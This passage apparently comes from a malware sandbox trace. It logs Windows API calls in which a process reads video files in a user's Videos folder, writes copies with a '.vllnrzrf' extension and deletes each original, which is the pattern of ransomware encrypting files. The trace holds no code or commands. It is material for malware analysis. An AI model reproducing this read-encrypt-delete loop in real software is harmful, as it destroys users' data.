lpNumberOfBytesWritten=0x1c04f1f8, lpOverlapped=0x0 | out: lpBuffer=0x22c3708*, lpNumberOfBytesWritten=0x1c04f1f8*=0xae14, lpOverlapped=0x0) returned 1 [0120.916] CloseHandle (hObject=0x50c) returned 1 [0120.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv", lpFilePart=0x0) returned 0x4c [0120.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv", nBufferLength=0x105, lpBuffer=0x1c04ed90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv", lpFilePart=0x0) returned 0x4c [0120.921] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\mx6 fpuaqvlomxen.flv")) returned 1 [0120.924] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4", lpFilePart=0x0) returned 0x4f [0120.924] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4", lpFilePart=0x0) returned 0x4f [0120.924] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4", lpFilePart=0x0) returned 0x4f [0120.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f0d0) returned 1 [0120.924] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\srqxm e74ravlqbz sp.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0120.925] GetFileType (hFile=0x50c) returned 0x1 [0120.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f040) returned 1 [0120.925] GetFileType (hFile=0x50c) returned 0x1 [0120.925] GetFileSize (in: hFile=0x50c, lpFileSizeHigh=0x1c04f268 | out: lpFileSizeHigh=0x1c04f268*=0x0) returned 0x18a00 [0120.926] ReadFile (in: hFile=0x50c, lpBuffer=0x12453488, nNumberOfBytesToRead=0x18a00, lpNumberOfBytesRead=0x1c04f198, lpOverlapped=0x0 | out: lpBuffer=0x12453488*, lpNumberOfBytesRead=0x1c04f198*=0x18a00, lpOverlapped=0x0) returned 1 [0120.985] CloseHandle (hObject=0x50c) returned 1 [0121.347] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4.vllnrzrf", lpFilePart=0x0) returned 0x58 [0121.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f0d0) returned 1 [0121.347] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\srqxm e74ravlqbz sp.mp4.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0121.348] GetFileType (hFile=0x50c) returned 0x1 [0121.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f040) returned 1 [0121.348] GetFileType (hFile=0x50c) returned 0x1 [0121.348] WriteFile (in: hFile=0x50c, lpBuffer=0x124b5d68*, nNumberOfBytesToWrite=0x18c00, lpNumberOfBytesWritten=0x1c04f1f8, lpOverlapped=0x0 | out: lpBuffer=0x124b5d68*, lpNumberOfBytesWritten=0x1c04f1f8*=0x18c00, lpOverlapped=0x0) returned 1 [0121.351] CloseHandle (hObject=0x50c) returned 1 [0121.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4", lpFilePart=0x0) returned 0x4f [0121.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4", nBufferLength=0x105, lpBuffer=0x1c04ed90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4", lpFilePart=0x0) returned 0x4f [0121.358] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\SRQXm E74RAVLQBz SP.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\srqxm e74ravlqbz sp.mp4")) returned 1 [0121.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4", lpFilePart=0x0) returned 0x4f [0121.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4", lpFilePart=0x0) returned 0x4f [0121.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4", lpFilePart=0x0) returned 0x4f [0121.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f0d0) returned 1 [0121.362] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\vivyj4wkdb 3zmklsus.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0121.362] GetFileType (hFile=0x50c) returned 0x1 [0121.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f040) returned 1 [0121.362] GetFileType (hFile=0x50c) returned 0x1 [0121.362] GetFileSize (in: hFile=0x50c, lpFileSizeHigh=0x1c04f268 | out: lpFileSizeHigh=0x1c04f268*=0x0) returned 0x5db [0121.362] ReadFile (in: hFile=0x50c, lpBuffer=0x22f5578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c04f198, lpOverlapped=0x0 | out: lpBuffer=0x22f5578*, lpNumberOfBytesRead=0x1c04f198*=0x5db, lpOverlapped=0x0) returned 1 [0121.363] CloseHandle (hObject=0x50c) returned 1 [0121.367] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4.vllnrzrf", lpFilePart=0x0) returned 0x58 [0121.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f0d0) returned 1 [0121.367] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\vivyj4wkdb 3zmklsus.mp4.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0121.367] GetFileType (hFile=0x50c) returned 0x1 [0121.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f040) returned 1 [0121.368] GetFileType (hFile=0x50c) returned 0x1 [0121.368] WriteFile (in: hFile=0x50c, lpBuffer=0x22fc7a8*, nNumberOfBytesToWrite=0x7db, lpNumberOfBytesWritten=0x1c04f0a8, lpOverlapped=0x0 | out: lpBuffer=0x22fc7a8*, lpNumberOfBytesWritten=0x1c04f0a8*=0x7db, lpOverlapped=0x0) returned 1 [0121.369] CloseHandle (hObject=0x50c) returned 1 [0121.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4", lpFilePart=0x0) returned 0x4f [0121.373] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4", nBufferLength=0x105, lpBuffer=0x1c04ed90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4", lpFilePart=0x0) returned 0x4f [0121.373] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\vivyJ4WkdB 3zmkLsUS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\vivyj4wkdb 3zmklsus.mp4")) returned 1 [0121.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv", lpFilePart=0x0) returned 0x42 [0121.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv", lpFilePart=0x0) returned 0x42 [0121.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv", lpFilePart=0x0) returned 0x42 [0121.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f0d0) returned 1 [0121.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\ywyu2o.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0121.376] GetFileType (hFile=0x50c) returned 0x1 [0121.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f040) returned 1 [0121.376] GetFileType (hFile=0x50c) returned 0x1 [0121.376] GetFileSize (in: hFile=0x50c, lpFileSizeHigh=0x1c04f268 | out: lpFileSizeHigh=0x1c04f268*=0x0) returned 0x4c39 [0121.376] ReadFile (in: hFile=0x50c, lpBuffer=0x22fe270, nNumberOfBytesToRead=0x4c39, lpNumberOfBytesRead=0x1c04f198, lpOverlapped=0x0 | out: lpBuffer=0x22fe270*, lpNumberOfBytesRead=0x1c04f198*=0x4c39, lpOverlapped=0x0) returned 1 [0121.377] CloseHandle (hObject=0x50c) returned 1 [0121.386] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv.vllnrzrf", lpFilePart=0x0) returned 0x4b [0121.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f0d0) returned 1 [0121.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\ywyu2o.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0121.388] GetFileType (hFile=0x50c) returned 0x1 [0121.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f040) returned 1 [0121.388] GetFileType (hFile=0x50c) returned 0x1 [0121.388] WriteFile (in: hFile=0x50c, lpBuffer=0x2324748*, nNumberOfBytesToWrite=0x4e39, lpNumberOfBytesWritten=0x1c04f1f8, lpOverlapped=0x0 | out: lpBuffer=0x2324748*, lpNumberOfBytesWritten=0x1c04f1f8*=0x4e39, lpOverlapped=0x0) returned 1 [0121.390] CloseHandle (hObject=0x50c) returned 1 [0121.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv", lpFilePart=0x0) returned 0x42 [0121.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv", nBufferLength=0x105, lpBuffer=0x1c04ed90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv", lpFilePart=0x0) returned 0x42 [0121.391] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\YWyU2O.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\ywyu2o.flv")) returned 1 [0121.396] CoUninitialize () Thread: id = 110 os_tid = 0x788 [0121.403] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0121.404] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1c04eba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0121.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f000) returned 1 [0121.404] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1c04eaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0121.404] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\", nBufferLength=0x105, lpBuffer=0x1c04ea90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\", lpFilePart=0x0) returned 0x48 [0121.404] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\*.*", lpFindFileData=0x1c04eca0 | out: lpFindFileData=0x1c04eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6129f90, ftCreationTime.dwHighDateTime=0x1d5e16e, ftLastAccessTime.dwLowDateTime=0x1aeba680, ftLastAccessTime.dwHighDateTime=0x1d5ded1, ftLastWriteTime.dwLowDateTime=0x1aeba680, ftLastWriteTime.dwHighDateTime=0x1d5ded1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0121.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04ecf0 | out: lpFindFileData=0x1c04ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6129f90, ftCreationTime.dwHighDateTime=0x1d5e16e, ftLastAccessTime.dwLowDateTime=0x1aeba680, ftLastAccessTime.dwHighDateTime=0x1d5ded1, ftLastWriteTime.dwLowDateTime=0x1aeba680, ftLastWriteTime.dwHighDateTime=0x1d5ded1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04ecf0 | out: lpFindFileData=0x1c04ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d05f1a0, ftCreationTime.dwHighDateTime=0x1d5dfd4, ftLastAccessTime.dwLowDateTime=0x430798c0, ftLastAccessTime.dwHighDateTime=0x1d5e004, ftLastWriteTime.dwLowDateTime=0x430798c0, ftLastWriteTime.dwHighDateTime=0x1d5e004, nFileSizeHigh=0x0, nFileSizeLow=0x74ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="5crMlWy.avi", cAlternateFileName="")) returned 1 [0121.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04ecf0 | out: lpFindFileData=0x1c04ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54241730, ftCreationTime.dwHighDateTime=0x1d5e029, ftLastAccessTime.dwLowDateTime=0xb1dcd230, ftLastAccessTime.dwHighDateTime=0x1d5dc24, ftLastWriteTime.dwLowDateTime=0xb1dcd230, ftLastWriteTime.dwHighDateTime=0x1d5dc24, nFileSizeHigh=0x0, nFileSizeLow=0x3847, dwReserved0=0x0, dwReserved1=0x0, cFileName="7mIW.avi", cAlternateFileName="")) returned 1 [0121.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04ecf0 | out: lpFindFileData=0x1c04ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc87590, ftCreationTime.dwHighDateTime=0x1d5e5b2, ftLastAccessTime.dwLowDateTime=0x13a4d5d0, ftLastAccessTime.dwHighDateTime=0x1d5ddb0, ftLastWriteTime.dwLowDateTime=0x13a4d5d0, ftLastWriteTime.dwHighDateTime=0x1d5ddb0, nFileSizeHigh=0x0, nFileSizeLow=0x70b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESQJvKyYoJMFb.mp4", cAlternateFileName="ESQJVK~1.MP4")) returned 1 [0121.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04ecf0 | out: lpFindFileData=0x1c04ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6850560, ftCreationTime.dwHighDateTime=0x1d5db0a, ftLastAccessTime.dwLowDateTime=0xb5073e10, ftLastAccessTime.dwHighDateTime=0x1d5dc9b, ftLastWriteTime.dwLowDateTime=0xb5073e10, ftLastWriteTime.dwHighDateTime=0x1d5dc9b, nFileSizeHigh=0x0, nFileSizeLow=0x13dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="V7FDYZFW0I95n.mkv", cAlternateFileName="V7FDYZ~1.MKV")) returned 1 [0121.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04ecf0 | out: lpFindFileData=0x1c04ecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.405] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0121.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04ef50) returned 1 [0121.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04ef10) returned 1 [0121.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi", lpFilePart=0x0) returned 0x53 [0121.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi", lpFilePart=0x0) returned 0x53 [0121.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi", lpFilePart=0x0) returned 0x53 [0121.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04eef0) returned 1 [0121.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\5crmlwy.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d0 [0121.407] GetFileType (hFile=0x4d0) returned 0x1 [0121.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04ee60) returned 1 [0121.407] GetFileType (hFile=0x4d0) returned 0x1 [0121.407] GetFileSize (in: hFile=0x4d0, lpFileSizeHigh=0x1c04f088 | out: lpFileSizeHigh=0x1c04f088*=0x0) returned 0x74ce [0121.407] ReadFile (in: hFile=0x4d0, lpBuffer=0x232c6f0, nNumberOfBytesToRead=0x74ce, lpNumberOfBytesRead=0x1c04efb8, lpOverlapped=0x0 | out: lpBuffer=0x232c6f0*, lpNumberOfBytesRead=0x1c04efb8*=0x74ce, lpOverlapped=0x0) returned 1 [0121.408] CloseHandle (hObject=0x4d0) returned 1 [0121.418] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04ea10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi.vllnrzrf", lpFilePart=0x0) returned 0x5c [0121.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04eef0) returned 1 [0121.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\5crMlWy.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\5crmlwy.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d0 [0121.418] GetFileType (hFile=0x4d0) returned 0x1 [0121.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04ee60) returned 1 [0121.418] GetFileType (hFile=0x4d0) returned 0x1 [0121.419] WriteFile (in: hFile=0x4d0, lpBuffer=0x23657c0*, nNumberOfBytesToWrite=0x76ce, lpNumberOfBytesWritten=0x1c04f018, lpOverlapped=0x0 | out: lpBuffer=0x23657c0*, lpNumberOfBytesWritten=0x1c04f018*=0x76ce, lpOverlapped=0x0) returned 1 [0121.420] CloseHandle (hObject=0x4d0) returned 1 [0121.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 